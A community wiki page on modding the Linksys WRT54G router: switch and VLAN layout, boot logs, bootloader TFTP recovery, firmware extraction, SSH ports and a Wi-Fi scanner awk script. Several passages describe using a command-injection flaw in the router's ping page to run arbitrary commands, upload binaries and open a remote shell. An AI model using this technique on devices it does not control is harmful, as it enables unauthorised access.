Comment: If you look at the source code, in et.4072/sys/et_linux.c, you can see that the WAN port is tagged 1 and the LAN ports are tagged 2 by the driver. The driver tags packets before outputing them and untags after getting them. Since, the packets sent on the wire are not tagged, the single port transformer TS6121 and the quadri-port transformer 40ST1041X seem to tag/untag the packets. Does someone know these chips ?

** I just checked, and I can definitely verify that Linux is seeing eth0 and eth1 as separate interfaces, but I do see what you mean; the AMD6996 is a 6-port switch with vlan support built in. My theory is that the et.o module is implementing VLAN on a single ethernet interface or something. Oddly enough, ifconfig shows different interrupts and base addresses for eth0 and eth1:

# ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:0C:41:3F:72:F8


          RX packets:276069 errors:0 dropped:0 overruns:0 frame:0

          TX packets:27329 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          RX bytes:28541837 (27.2 Mb) TX bytes:3557147 (3.3 Mb)

          Interrupt:3 Base address:0x2000

# ifconfig eth1

eth1 Link encap:Ethernet HWaddr 00:0C:41:3F:72:F9


          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:27947 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:100

          RX bytes:0 (0.0 b) TX bytes:16600518 (15.8 Mb)

          Interrupt:4 Base address:0x8000

The box is definitely listening to eth1 for WAN access:

# ps

  476 0 S udhcpc -i eth1 -p /var/run/udhcpc.pid -s /tmp/udhcpc

(I don't have the wan side hooked up to anything)

** The ifconfig output shows two interrupts, but looking at /proc/interrupts shows that only one of the two interrupts is ever used (eth0). Also, looking at http://www.broadcom.com/products/4702.html, one can see that broadcom doesn't say the chip has two ethernet NICs, it says it has "two 10/100 Ethernet MACs". Finally, if one tries to bring down eth0 (ifconfig eth0 down) they will find that eth1 shuts down as well. My guess is the chip doesn't even have two ethernet controllers, and is using some combination of MAC multiplexing and VLAN trickery to make it look like it does..

Comment: MAC == the NIC (as far as the software is concerned). As I speculated before, both MAC could be multiplexed over a single MII interface (hardware portion). -- sf

Comment: The fact that the switch interfaces can appearantly be assigned to VLANs is cool. It means this box could have multiple routable segments, providing, for example, a real DMZ.

Comment: That's not a problem, dhcp packets are bridged thru br0 from eth0 to eth2 ! if dhcpd was listening/sending in both eth's there were problems with duplicate packets!

The kmesg (listed elsewhere) clearly shows that eth0 is part of the bridge device, br0, along with eth2 (the wireless interface, wl.o). If you use the WDS to bridge multiple units together, then a dummy interface such as wds0.2 is created and also added to the br0 bridge interface. (Try "wl wds 00:06:25:F7:2C:74", replacing the mac address with the mac address of another WRT box, and do the same on that box. Just be carefull about creating a loop because you can set off a broadcast storm pretty easily)

eth0: Broadcom BCM47xx 10/100 Mbps Ethernet Controller

eth1: Broadcom BCM43XX 802.11 Wireless Controller

eth0 is the 5 port hardware switch. eth0 is virtualized into two ethernet devices, vlan0 which represents the 4 port switch, and vlan1 which represents the WAN port. a bridge, br0, is created at boot-up to bridge together vlan0 (the 4 port switch) and eth1 (the wireless interface). -- donp at personaltelco dot net 31Aug2004

Boot messages

Here's a dump of /proc/kmsg from a running WRT54G. That "!unable to setup serial console!" is a little disappointing for all of us bricklayers.

Probably if somebody installed a UART, those "!unable to setup serial console!" messages would go away. From examining the board photos posted elsewhere, it appears that the UART is a 16C552 DUART that should go in U5 location. Also you'll need an RS232 transceiver. It's hard to say for certain what transceiver is needed without measuring the power supply voltage going to U1 and U2 pads, but it shouldn't be too hard to work out from the Maxim website. It looks very similar for the WAP54G too.

Re: unable to setup serial console:

/proc/tty/driver/serial reports the following over and over :


60: uart:unknown port:0 irq:0

61: uart:unknown port:0 irq:0

62: uart:unknown port:0 irq:0

63: uart:unknown port:0 irq:0


# cat /proc/kmsg

<4>Loading BCM4710 MMU routines.

<4>CPU revision is: 00024000

<4>Primary instruction cache 8kb, linesize 16 bytes (2 ways)

<4>Primary data cache 4kb, linesize 16 bytes (2 ways)

<4>Number of TLB entries 32.

<4>Linux version 2.4.5 (root@honor) (gcc version 3.0 20010422 (prerelease) with bcm4710a0 modifications) #4 ?g?@ 6?? 23 14:45:24 CST 2003

<4>Determined physical RAM map:

<4> memory: 01000000 @ 00000000 (usable)

<4>On node 0 totalpages: 4096

<4>zone(0): 4096 pages.

<4>zone(1): 0 pages.

<4>zone(2): 0 pages.

<4>Kernel command line: root=/dev/mtdblock2 noinitrd console=ttyS0,115200

<4>New MIPS time_init() invoked.

<4>CPU: BCM4710 rev 0 at 125 MHz

<4>!unable to setup serial console!

<4>Calibrating delay loop... 82.94 BogoMIPS

<4>Memory: 14508k/16384k available (1189k kernel code, 1876k reserved, 85k data, 60k init)

<4>Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)

<4>Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)

<4>Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)

<4>Page-cache hash table entries: 4096 (order: 2, 16384 bytes)

<4>Checking for 'wait' instruction... unavailable.

<4>POSIX conformance testing by UNIFIX

<4>PCI: Fixing up bus 0

<4>PCI: Fixing up bridge

<4>PCI: Fixing up bus 1

<6>Linux NET4.0 for Linux 2.4

<6>Based upon Swansea University Computer Society NET3.039

<4>Initializing RT netlink socket

<4>Starting kswapd v1.8

<4>devfs: v0.102 (20000622) Richard Gooch (rgooch@atnf.csiro.au)

<4>devfs: boot_options: 0x0

<4>pty: 256 Unix98 ptys configured

<6>Serial driver version 5.05a (2001-03-20) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

<4>block: queued sectors max/low 9528kB/3176kB, 64 slots per queue

<6>PPP generic driver version 2.4.2

<4> Amd/Fujitsu Extended Query Table v1.1 at 0x0040

<4>number of JEDEC chips: 1

<4>0: offset=0x0,size=0x2000,blocks=8

<4>1: offset=0x10000,size=0x10000,blocks=63

<5>flash device: 400000 at 1fc00000

<5>Physically mapped flash: cramfs filesystem found at block 1024

<5>Creating 4 MTD partitions on "Physically mapped flash":

<5>0x00000000-0x00040000 : "pmon"

<5>0x00040000-0x003f0000 : "linux"

<5>0x00100000-0x003f0000 : "rootfs"

<5>0x003f0000-0x00400000 : "nvram"

<3>sflash: chipcommon not found

<6>NET4: Linux TCP/IP 1.0 for NET4.0

<6>IP Protocols: ICMP, UDP, TCP

<4>IP: routing cache hash table of 512 buckets, 4Kbytes

<4>TCP: Hash tables configured (established 1024 bind 2048)

<4>ip_conntrack (128 buckets, 1024 max)

<4>ip_tables: (c)2000 Netfilter core team

<4>ipt_time loading

<6>NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.

<6>NET4: Ethernet Bridge 008 for NET4.0

<4>VFS: Mounted root (cramfs filesystem) readonly.

<4>Mounted devfs on /dev

<4>Freeing unused kernel memory: 60k freed

<4>Warning: unable to open an initial console.

<4>Algorithmics/MIPS FPU Emulator v1.4

<4>eth0: Broadcom BCM47xx 10/100 Mbps Ethernet Controller

<4>eth1: Broadcom BCM47xx 10/100 Mbps Ethernet Controller

<4>PCI: Enabling device 01:08.0 (0004 -> 0006)

<4>eth2: Broadcom BCM43XX 802.11 Wireless Controller (Compiled in . at 21:49:42 on May 21 2003)

<4>bug: kernel timer added twice at c000ad54.

<6>device eth0 entered promiscuous mode

<6>device eth2 entered promiscuous mode

<6>br0: port 2(eth2) entering listening state

<6>br0: port 1(eth0) entering listening state

<6>br0: port 2(eth2) entering learning state

<6>br0: port 1(eth0) entering learning state

<6>br0: port 2(eth2) entering forwarding state

<6>br0: topology change detected, propagating

<6>br0: port 1(eth0) entering forwarding state

<6>br0: topology change detected, propagating

<4>diag_loop: Reset LED.

<4>bug: kernel timer added twice at c000ad54.

Software packages on the wrt54g

Getting a shell on the WRT54G

Using the Ping.asp() trick, above, one can upload arbitrary files using /usr/sbin/epi-ttcp. So we uploaded a mips compiled faucet and launched a shell. See this post by Ross Jordan.

C.J. Collier coded up a perl package, Wrt54gTools, to simplify the process.

Mina Naguib also coded a small wrt54gcli.pl perl program that provides a fake shell prompt to the WRT54G using the Ping.asp() trick but without uploading anything to the box.

Related links & software:

Booting your own kernel

There might be a way to boot your own kernel & root filesystem. Soldering a serial console onto my box gave me two things: a) a serial busybox console (which is quite useless since we have a ping exploit console already) and b) access to the boot loader. The bl used in the Linksys is PMON http://www.carmel.com/pmon/index.html. While grepping through the pmon pages i noticed that there is an optional shell built into pmon which is able to download executables from a host.

Unfortunately Broadcom has configured to PMON to boot straight into Linux. I've tried all sorts of shortcuts to stop it from booting - to no avail. I ended up with disassembling the bl to figure out what is going on. Solution: You'll have to set the nvram variable boot_wait to on. After doing so the bl will pause for a short amount of time and you'll be able to jump into the shell by hitting Ctrl + C.

This will not buy you very much since it still requires a serial console (which obviously only few people have). Having set boot_wait=on the bl waits for a short amount of time for an incoming TFTP transfer. It accepts connections apprx. 1 second after the device has been powered up. I haven't measured the time it waits for the transfer yet, but it is quite a large window (5sec or more) so it should be possible to hit the window without knowing when it is open.

** Update 11/26/03

If you forgot to set boot_wait to on before breaking your AP, try this:

The magic incantation is:


PMON> set boot_wait on

PMON> set nvram boot_wait

[power cycle, then tftp load of good firmware]

(Thanks to Charlie Brady for that hint.)

I still haven't fully confirmed yet that it is possible to load the kernel without any action required over the serial console. I still have to work out which file format the bl expects. The pmon manual lists to different types (SREC and FastBoot). I'll try to track that down in a couple of hours - so stay tuned.

Update 9/27/2003: I got some mails asking what chips are needed for a serial console. Here we go:

UART: National PC16552DV (Cheap samples: http://www.national.com/pf/PC/PC16552D.html)

Transceiver: Maxim MAX213CIA (Free Samples: http://www.maxim-ic.com/quick_view2.cfm?qv_pk=1369&ln=)

XTAL: 12.75MHz (or thereabouts. 12.72MHz may be easier to get, and certainly works, but anything within 5% could be OK)

Note that there is no provision for serial console hardware on version 1.1 of the hardware (1.0 hardware is starting to become scarce!). --Update: as a matter of fact, I'd say it can be done. Check this page, the "J25" jumper leads to the CPU data lines, which can be connected to an external UART.

Still no luck wrt the image type. The bootloader is using Broadcom format. Looks like we'll have to analyse the bl again :-(

Update 9/29/2003: While stepping through pmon i finally discovered how to upload code to the unit. The filename to be transferred has to be code.bin (there are signs of pmon.bin and mac.bin toobut the filenames look suspicious and i don't want to trash my system yet ;-) The format of the file has to be FastBoot. SREC should work too but i didn't verified this. Good news: I was able to boot an uploaded kernel extracted of the linksys firmware. Bad news: the autoload expects some more informations included in the file. I did not attemp to locate the place in the pmon yet (and probably won't try to find it since serial console allows to load & execute files properly). For those who are interested to find the reason + expected image here the boot log:

Comment: from a quick look over pmon, it seems like it might be looking for the 'W54G' pattern that is at the start of firmware files. Could it be looking for a file in the same format that the WRT54G firmware is provided in?

No. None of the known images does work. Maybe they need to be compressed.

PMON version 5.3.22 [EL], LSI LOGIC Corp. and Broadcom Corp.

 Compiled on Tue Mar 4 17:32:29 2003

CPU type 4710.CPU clock frequency 125 MHz.

mac_init(): Find mac [00:06:25:C5:XX:XX] in location 0


Avail RAM 16384 KBytes.

NVRAM: AMD 29lv320DB 2Mx16 BotB.

Visit www.carmel.com for updates.

Boot version: v1.0

Downloading os image in 3 seconds

Using specified MAC address.

et0: Broadcom BCM47xx 10/100 Mbps Ethernet Controller

MAC Address: 00:06:25:c5:XX:XX

Opened ethernet

Downloading from ethernet, ^C to abort

using default dl addr 0xa0001000

File being downloaded : code.bin



Code Pattern is incorrect!

Downloading image time out <-- here the autoupload path fails and the box returns to boot from flash behaviour

Boot os from the flash




Doing command call 80001000

< normal kernel startup messages follow >

Update 2/10/2003: Proceeding quite fast. Verified that srec is a valid upload format. Successfully flashed other non Linksys firmwares. Looks like they boot successfully (after tweaking the nvram section quite a lot) but no network connectivity so far (probably because the other units dont have the ADM switch?). I can successfully TX and RX packets but Linux doesnt seem to handle them properly. Haven't investigated that further. Wlan seems to be okay. (Which is very good news for client mode). While playing around with different images i managed to overwrite the nvram section. After powercycling the device the section got initialized with default values. Please note that the default mode for boot_wait is off! The good news is that if the image is corrupted (bad crc, bad magic) the boot loader switches into TFTP mode regardless of the boot_wait state. Which is probably good news for all those people how managed to break their device.

I managed to build my own kernel. It boots until the timer gets calibrated. Still a lot of work to get the interrupt stuff working, but looks very promising so far. Help is highly appreciated ;-)

Update 3/10/2003: Played around with the new firmware version 1.41.7. Changes:

After all: Linksys go back to the drawing board.

Comment Very nice work. Can you give details and/or instructions on duplicating your work assuming that one does not have a serial console?

Answer I don't see a safe way yet. But if someone wants to put together a custom firmware feel free to upload it somewhere and send me the link. I'll give it a spin then.

Update 10/10/2003: Finally managed to get the kernel booting. Flash, Serial and PCI seem to work. I'm still fighting with the ethernet driver...

Comment: Source for the 44xx and 47xx ethernet drivers are present in the source that Linksys has released.

Question Are you re-burning flash to boot your kernel, or are you booting a tftp'ed kernel?

Answer I'm doing both. I've verified that it is possible to boot my kernel straight from flash, but during normal development it is much more reasonable to tftp boot the kernel.

Update 10/10/2003 2nd: Linksys finally decided to relase almost all sources (expect the wl sources). There is even the pmon code, so it should be very easy now to figure out how to use to auto tftp function. http://marc.theaimsgroup.com/?l=linux-kernel&m=106579161603430&w=4

If you want to share your oppinions please drop me a note: jolt@tuxbox.org

We're very close!

Problematic ROUTER mode

When you put WRT54G into "Router" mode (No NAT) it works as an unconfigurable firewall - it does not allow any connections from WAN to LAN. They probably forgot to stop iptables in this mode...

And this what I've got after two weeks of caling Linksys support:


Just execute "/usr/sbin/iptables --flush FORWARD" on the router to solve this (at least until the next reboot), or upgrade to 1.42.2, which fixes the problem. --markonen

Question : My router has a public IP from a /30 assigned to the WAN interface and the first public IP address from a /29 assigned to the LAN interface on the router. I run DHCP for the rest of the /29 but when I make a connection from one of the machines on the /29 it is NATted by the router and given the WAN interface IP address. I've turned off iptables with the above command. Should I now be able to use the router *properly* and have the /29 publically accessable to the rest of the internet. Is this even possible on this router? One thing I did notice is that zebra is not running and manually trying to run it doesnt work:

# zebra -d can't open configuration file [/usr/local/zebra/etc/zebra.conf]

Antenna Selection

You can do it via wl_ parameters

wl_antdiv Set antenna diversity for RX: 0 force use of antenna 0 (Left?); 1 force use of antenna 1; 3 automatic selection of antenna diversity ;

wl_txant Set the transmit antenna TX: 0 force use of antenna 0; 1 force use of antenna 1; 3 use the RX antenna selection that was in force during the most recently received good PLCP header

To set just add these parameters to the Advanced Wireless URL (at the end): http://<IP_address>/apply.cgi?submit_button=Wireless&change_action=&action=Apply&wl_macmode1=disabled&wl_auth=0&wl_rate=0&wl_rateset=default& wl_gmode_protection=auto&wl_frameburst=off&wl_bcn=100&wl_rts=2347&wl_frag=2346&wl_dtim=3&wl_antdiv=0&wl_txant=0

Other interesting parameters at * Discussion at wirelessnederlan



(Some questions/answers that were posted in the comment section has been paraphrased and put in here)

Q: Can I run the firmware/driver/programs extracted from the image on my PC/Laptop?

A: Not unless you happen to have a MIPSel (little endian MIPS) PC/Laptop.

Q: Can I take the miniPCI card in the WRT54G and put it in my laptop?

A: You can, but there are only drivers for Windows (use the "WPC54G - Wireless-G Notebook Adapter" driver).

Q: Can I use the WRT54G as an AP only instead of a router?

A: Disable DHCP (if necessary) and connect everything into the LAN port. Do not use the WAN port.

Q: How can I extract the CRAMFS image from <insert firmware here>?

A: You can determine the offset of any firmware image and extract it using the following means. I will use the Linksys 1.42.2 firmware as an example:

# hexdump -C firmware.bin | grep Compressed

00097e50 43 6f 6d 70 72 65 73 73 65 64 20 52 4f 4d 46 53 |Compressed ROMFS|

00097e70 43 6f 6d 70 72 65 73 73 65 64 00 00 00 00 00 00 |Compressed......|

Take the first number (97e50), convert it to decimal (622160), and divide that number by 32 (19442.5). Discard the .5, because the starting offset is 16 bytes before. Use that number for the skip=<number>c offset:

# dd if=firmware.bin of=cramfs.img bs=32 skip=19442c

70830+0 records in

70830+0 records out

# file cramfs.img

cramfs.img: Linux Compressed ROM File System data, little endian size 65536 CRC 0x6a792f3d,

edition -611687649, -2114586614 blocks, 2088046739 files

With bash or a similar shell ist even easier since you can do calcualtions within $(( )):

# dd if=firmware.bin of=cramfs.img bs=32 skip=$((0x97e50 / 32))c

70830+0 records in

70830+0 records out

# file cramfs.img

cramfs.img: Linux Compressed ROM File System data, little endian size 65536 CRC 0x6a792f3d,

edition -611687649, -2114586614 blocks, 2088046739 files

You can mount the extraxted cramfs image by using:

# mount -o loop cramfs.img /mnt

Or just mount it directly from the firmware file with:

# mount -o loop,offset=$((0x97e50 -16 )) firmware.bin /mnt


Question: If you can run commands via ping.asp, and there's a wget on the box, can't you use that to download binaries and execute them without touching the firmware?

Answer: The firmware versions with Ping.asp and with wget are mutually exclusive.

Question: Use the ping.asp hack to add the link for wget to /usr/bin (link it to busybox) I bet that the busybox binary supports wget but the link is just missing. -ar

Answer: That was one of the first things I tried: the busybox no longer has wget compiled in -Ross

I extracted busybox from the older version of firmware, uploaded it to the box, and tried to run it with the following results :

/tmp/busybox /tmp/busybox: error while loading shared libraries: /tmp/busybox: symbol gethostbyaddr, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

I guess to do this right, one will need a MIPS cross-compilation environment and do static builds. (Older versions used glibc, newer use uClibc).


If anyone is interested in advertising the box's webserver using rendezvous, executing this command either through the "ping hack" or the shell interface did the trick for me :

/usr/sbin/mDNSResponderPosix -p 80 -t _http._tcp. -n "Linksys Web Server" &


These RPM packages may be usable for building MIPS little endian LSB binaries on x86:

The SRPM is located to:

I tried to build a static binary of hexdump included in util-linux. It can run on my WRT54G.


I almost went mad trying to get a cross-compilation toolchain working. Crosstool was my saviour. It can download, patch, and compile known good combinations of GCC, Bintools and GLIBC for MIPS. Highly recommended.

- dave

Newer Answer: As of April-2005 The EWRT distrubution has been doing this for over a year. Portless Network's EWRT

Older Answer: No formal project, but it is the goal of several of us... Rob has apparently been some successful (Ram Only Install (goes away on Power Cycle): Rob Flickenger's NoCatSplash


-- A

Please read the FAQ before posting questions like this -- sf

Answer 2: The WET54 firmware file available for download from Linksys does not use Linux. The WAP54G's don't actually implement client mode--what they actually use in bridging mode is Wireless Distribution System, or wds. I've found that you can easily enable wds on the WRT54G's by using the ping trick or telnet to issue a command such as: /usr/sbin/wl wds 00:06:f4:23:34:e1. The Mac address here should be the mac address of the peer WAP (or WRT), and the system will create a subinterface wrt0.2 and add it to the bridging group (br0). It actually relies on the Linux bridging code to bridge between the wrt0.2 interface and clients associated with this access point. You may be able to configure the WRT to automatically reassociate with the remote AP by using nvram (nvram set wl_wrt=00:06:f4:23:34:e1). There must be something else happening because nvram setting aren't saved automatically--only way I've found to save an nvram setting is to go into the web interface and hit apply on one of the pages. Don't know why.

If Linksys ever DOES add client support to their WAP54 product, we should be able to copy the driver over to the WRT54 as well (the 1.02 firmware of both products use identical driver modules) We may even be able to modify the firmware file and upload it to the WRT54 box. (warning: untested)

Question to Answer2: Regarding NVRAM settings not saving -- Have you tried adding the word "commit" to the end of your nvrame set line? I've noticed on certain other linksys routers you must do this to save the setting.

SSH Daemon?

Question: Has anyone "ported" SSHD to the WRT54G? It might be a small step on the way...

Answer: telnetd is available from the tools package linked above. It's not SSH but it's more than enough to start poking around...

Statically-Compiled SSHD

Answer 2: I've "ported" SSHD to the WRT54G, I had to make a few modifications. Be sure and read the README file so that you'll be aware of any security holes I may have introduced! I've put the statically linked brinaries at http://www.mysteryvortex.com/wrt54g/files/ The README file in the tarball details how I compiled them and I've included the patches I made as well as a script that uploads all the files and starts SSHD. I'll put new revisions up there, the passwd file handling code could use some work and there's quite a bit of cleanup that could be done. I'll put more details of what I did and why on the parent page http://www.mysteryvortex.com/wrt54g/ in a few days.

-- wrt54g@spamisforeating.mysteryvortex.com

Answer 3: Dropbear (ssh daemon) is another possibility.

Static Dropbear compiled

I've compiled dropbear for the WRT54G, which is probably best used with the Batbox linux distribution. More information including how to compile your own and how to install/use can be found at http://wrt54g.bravehost.com

-- pmhesse@_HOTMAIL_DOT_com

OpenSSH on 1.42.2 Firmware

Answer 4: I've put together a complete binary using the 1.42.2 build tools that inlcudes OpenSSH, with sshd, sftp, and scp support. Host keys and authorized keys for public key authentication are supported through a web interface and stored in NVRAM for persistent use. Check out the image at http://www4.ncsu.edu/~bdferris/linksys_wrt54g/.

-- bdferris_AT_ncsu.edu

Question: Tried upgraded with your fimware openssh-firmware-1.0.bin 3.154.944 bytes, I can't access SSH (I make key and restart device) and can't return (downgrade or upgrade) to any other version of firmware ????.

I had the same issue with this version of firmware. I had to do the update at boot time with tftp instead of using the web interface. I hope you have the boot_wait flag set. I know that upgrading the flash from the Web interface is sensitive to memory usage. If there is too much memory in use, I've seen an upgrade fail because the kernel runs the "out of memory killer" which unfortunately kills the upgrade process.

Question: /!\ Don't try this release /!\ tried upgrade with tftp client but not works, same problem as update by web... I have set boot_wait, now you can help me what thing i need to play for save my router ? Thx

Answer?: When I first started building flash images, I completely fried my box (or so I thought). I had uploaded the first image through the web interface, and it failed. This was before I had even bothered to set a boot_wait flag (or bothered to read this page very thoroughly) and I assumed I had killed my router. However, it seems that when the router first comes up (aka the INSTANT you see the red diagnostic LED come up), you can immediately send a fresh firmware image. This is how I saved my router and hopefully, you can do the same? Also, it may help to name the custom flash image code.bin. I never use the web interface for flashing now. Instead, my general procedure is to have the tftp client started, and the 'put' command already typed. I then cycle the power on my router and hit return the instant I see the red diagnostic LED come on. I will write this up and put is a disclaimer by the firmware download.


Has anyone else been able to make the image work? That is to say, anyone besides me. It most definitely works for me (bdferris).

Answer?: OK Thxxxxxx It works now (with more 100 times recycle my router) Go back to my 1.4.22 Pingbug Hack, wait for bdferris confirm his firmware is Works. Please If you make a custom firmware, please try (test) it before post to public. Have fun......

Another Question : How about an "Idiot's guide to key generation" for the keys required to use this ssh. I may not have generated proper keys.


I'm going to write something up at SshKeyGeneration since this page is getting kind of big. Ok, read that, and specifically generate a Protocol Version 2 RSA Host Key. You would copy the ssh_host_rsa_key (not the .pub) into the host key field in the web interface. Secondly, generate a personal Protocol Version 2 RSA key. Copy the contents of id_rsa.pub into the "Authorized Keys" field in the web interface. Save settings and restart. Make sure to ssh as root (ex. ssh root@ ) since the router knows no other users.

Comment Yes, This firmware have somebug after upgraded:

  1. Cannot downgrade firmware by web - Must in boot_wait
  2. Upnp not works anymore
  3. Ping Bug is patched (Can't run command by ping interface)
  4. Can't get SSH work


  1. This is definitely an issue. Might be because of free memory as mentioned above? I was down to ~4Mb free on my router (cat /proc/meminfo). Uploading a firmware image through the web would require an additional 2-4 (dependent on size of firmware obviously) and that's before actual installation. Maybe this is the reason?
  2. Will check it out. What is Upnp anyways?
  3. Ideally, you won't need the ping bug if ssh is working
  4. Please ellaborate? You can email me at bdferris_AT_ncsu.edu if you want more help.

Suggestion: Gee, this firmware rocks. I'm currently combining it with the batbox distribution to get the most of that shiny blue blox. But I have a suggestion: Place /etc/passwd in /var. So root can get a different shell after installing batbox. Perhaps even more stuff from /etc/ can be moved to ramdisk to make the services more flexible? Those files could be copied there on startup (they don't need much space) and then referenced from flash via symlinks.


I have upgraded my wrt54g with openssh-firmware-1.0.bin, the ssh demon work but I want to go back. can I return to the official firmware ?? if I use the tftp method the red led don't stop to flash. (I don't have the 1.41.8 firmeware)


I managed (after some problems...THX to bdferris_AT_ncsu.edu !) to downgrade to 1.41.8 an then to 1.30.9 (and then upgrade again to 1.42.2+OpenSSH) using the tftp method described somewhere else.


I have installed openssh-firmware-1.0.bin and it first worked OK. Everything was working. I could connect using SSH. Then I tried to add a second authorized_key so 2 different keys could connect. I pasted 2 keys in the authorized_keys field of the web interface. When I applied changes, I immediately lost wireless connection to the router. After a while, as it was not coming back, I power-cycled the router. At power up, the green "Power" LED and the red "Diag" LED immediately both come up, solid lit. Nothing else happens then and my router seems dead, not going any further. Reset button has no effect. It's not possible to upload another firmware with TFTP as the ethernet interfaces of the router are down at this step. Any hint for helping me out of this would be greatly appreciated. This is a brand new box I just got today, and I badly need it :-(


Same effect here than above :/ Can i solve it this problem any way? Thanks..


I had similar problems, and I found that I couldn't upload new firmware on boot because the client box's ARP queries weren't being answered, and so the sending failed. I fixed it by adding the MAC address of the router (written on the base of the unit) into the clients arp cache, and trying again.


I repeat the router's ethernet interfaces are DOWN. No link beat. LEDs don't come up on the router or on a switch to which the router is connecter. How could adding ARP addresses in clients caches could help in such a situation ? (And by the way, if you were able to rescue your router, could you completely describe the procedure in detail ?)


I misunderstood what you meant above. The link LED's on mine came on when I plugged cables in, and I was able to use the unit as a switch even though the kernel didn't seem to have booted.

ObRandomThought: Even with the disclosure of the source, is Linksys still violating the GPL? Obviously Linksys is distributing a modified kernel even if the modification is self-contained within a binary module, so could it still be possible that there is a GPL violation taking place? Disclaimer: IANAL

Answer: Actually, Linus himself has said that binary drivers are OK in the kernel. He also mentioned that no one the LKML will help you if you have a binary driver (hence the "tainted" column the lsmod output in modern kernels). But they are legal, as long as they are modules and loaded at boot time. The wrapper is only needed if you wanted to compile the driver for a different kernel (i.e., I can make a driver and have it work on a RedHat 8.0 unmodified kernel system, but if someone uses another distribution, or compiles a new kernel, my driver will break. If I write a wrapper around it, I can mitigate this somewhat). This is what nVidia does so they don't need to compile for every configuration out there. But nothing stops me from writing a binary driver and saying "You must use a RedHat 8.0 stock kernel for this to work" (reminds me of the Open Sound System drivers that came with SuSE - they would only work with SuSE kernels). Technically, using a wrapper and allowing binary drivers *IS* a GPL violation (the wrapper method too, unless it satisfies the requirement of being a library that others can hook into and use - but if it's a private interface, it's considered part of the binary object itself, even though it has source). But Linus has specifically interpreted that binary drivers are OK in the kernel, as long as they're modules and not built into the kernel and loaded at boot time (which does contradict the official FSF GPL interpretation).

Answer 2: The original Torvalds posting is here (from Google Groups): http://groups.google.ca/groups?selm=4b0rbb%245iu%40klaava.helsinki.fi&oe=UTF-8&output=gplain A somewhat nicer link from a binary module distributor: http://www.gcom.com/home/support/whitepapers/linux-gnu-license.html

moreObRandomThoughts: I actually read that after doing the initial post. My gut feeling is that he was not trying to prevent a separate work (binary module) from being used with the kernel, but in this case, the modified work is distributed as a whole (kernel+module) in the firmware with no intention of providing that module as a separate work; ie. to use a book as an example, someone can supposedly distribute an addendum (binary module) to a book (kernel) under the GPL, but could they really argue that the addendum is a separate work if the only form of distribution for the modification is provided as a work-as-whole?

Answer: Well, if you consider the WRT54G as "a whole unit", that implies that because it has a bit of GPL stuff, it should all be GPLd. I.e., because say RedHat comes with copies of commercial software (at least the boxed versions), those should be GPL as well, since they're all packaged up nicely for RedHat, etc. Or a better example would be SuSE, which distributes their non-GPL YaST, and did for a time include a commercial version of OSS drivers which only worked with their kernel. No GPL violations there. The WRT54G/RedHat/SuSE stuff is less of a book, and more of a binder - some stuff is like a book (Kernel), others are 3rd party additions to said book (wl.o), but not necessarily distributed with the book itself, and there are other chapters/papers/etc in said binder (apps). The addons to the book come with the binder, not the book. And anyone writing drivers for Linux knows about the binary driver GPL exclusions. Strictly speaking, the FSF says such modules must be GPL, but Linus views it as a 3rd party addon using a well=documented interface.

Links of interest

Realtime ScanResults AWK script to run on modified firmware

"This page looks somewhat destroyed, as half the info here is simply gone. There was a nice awk script for monitoring signal strenght, if somebody has it, please post it back. Thanks."

Thanks for the kind comment. Here it is again:

screenshot: http://www.toozy.com/scanner.gif

The Script:

cat - >scanner

# Show scanresults in consistent order with graphical bars.

# To be run via telnet to WRT54g running modified firmware.

# Do the following. Use your own router address instead of on the following lines

# Login via telnet:

# telnet

# a simple test to make sure you can run this script, type:

# wl scan; wl scanresults

# and make sure you can run those commands. If not this program will not work.

# If you succeeded with the scanresults then

# copy and paste this entire text into the terminal window

# (the cat - >scanner line will copy the rest of the file into a file named 'scanner')

# and then hit return and then ctrl-c to close the file.

# then just run script by typing tyhe following line:

# awk -f scanner


# I hereby release this into the public domain. Justin Jones, 2005




 command = "wl scan 2> /dev/null ; wl scanresults 2> /dev/null";

 red = "\x1b[31m"; green = "\x1b[32m";

 greenback="\x1b[42m"; yellow = "\x1b[33m";

 cyan = "\x1b[36m"; blue = "\x1b[34m";

 blueback = "\x1b[44m"; white = "\x1b[37m";

 whiteback = "\x1b[47m"; reset = "\x1b[0m";

 underscore = "\x1b[4m"; clear = "\x1b[2J";

 home = "\x1b[0;0H"; erase2end = "\x1b[K";

 cName = white; cSignal = green;

 cNoise = red; cCaps = green;

 cStrengthLow = blue blueback; cChannel = green;

 cStrengthMed = white whiteback;

 cStrengthHi = green greenback;

 cStrengthAged = red;

 print clear;



  while (command|getline)


  if(/^SSID/) {cn = $2; name[cn] = cn; rssi[cn] = $6;noise[cn]= $9}

  if(/^Mode/) {rssi[cn] = $4;noise[cn]= $7; channel[cn] = $10 }

  if(/^BSSID/) {caps[cn] = $4" "$5" "$6" "$7" "$8" "$9" "$10 }



  printf home;

  ln = 0;

  print white " Name Signal Noise Channel Type";

  for (x in name)



        #arbitrary strength calc through trial and error... modify as you wish:

   sigstrength = ((rssi[x] - noise[x])*1.5) + ((rssi[x] +90)*1.5);

 if (sigstrength <1) sigstrength=0;

 cStrength = cStrengthLow;

 if(sigstrength>4) cStrength = cStrengthMed;

 if(sigstrength>7) cStrength = cStrengthHi;

 if(age[x]=0) cStrength = cStrengthAged;

   fmt = "%s%-15s %s%0"sigstrength"d "reset erase2end "\n %s%-4d %s%-4d %s%-4d %s%2s %s%10s " reset erase2end "\n" erase2end "\n";

   printf fmt, cName,name[x],cStrength,0,cSignal,rssi[x],cNoise,noise[x],cChannel, channel[x],cCaps,caps[x];

 rssi[x] = -100;




  print erase2end;



* thesis writing

LinksysWrt54g (last edited 2012-04-10 19:04:26 by stgt-5f70abf6)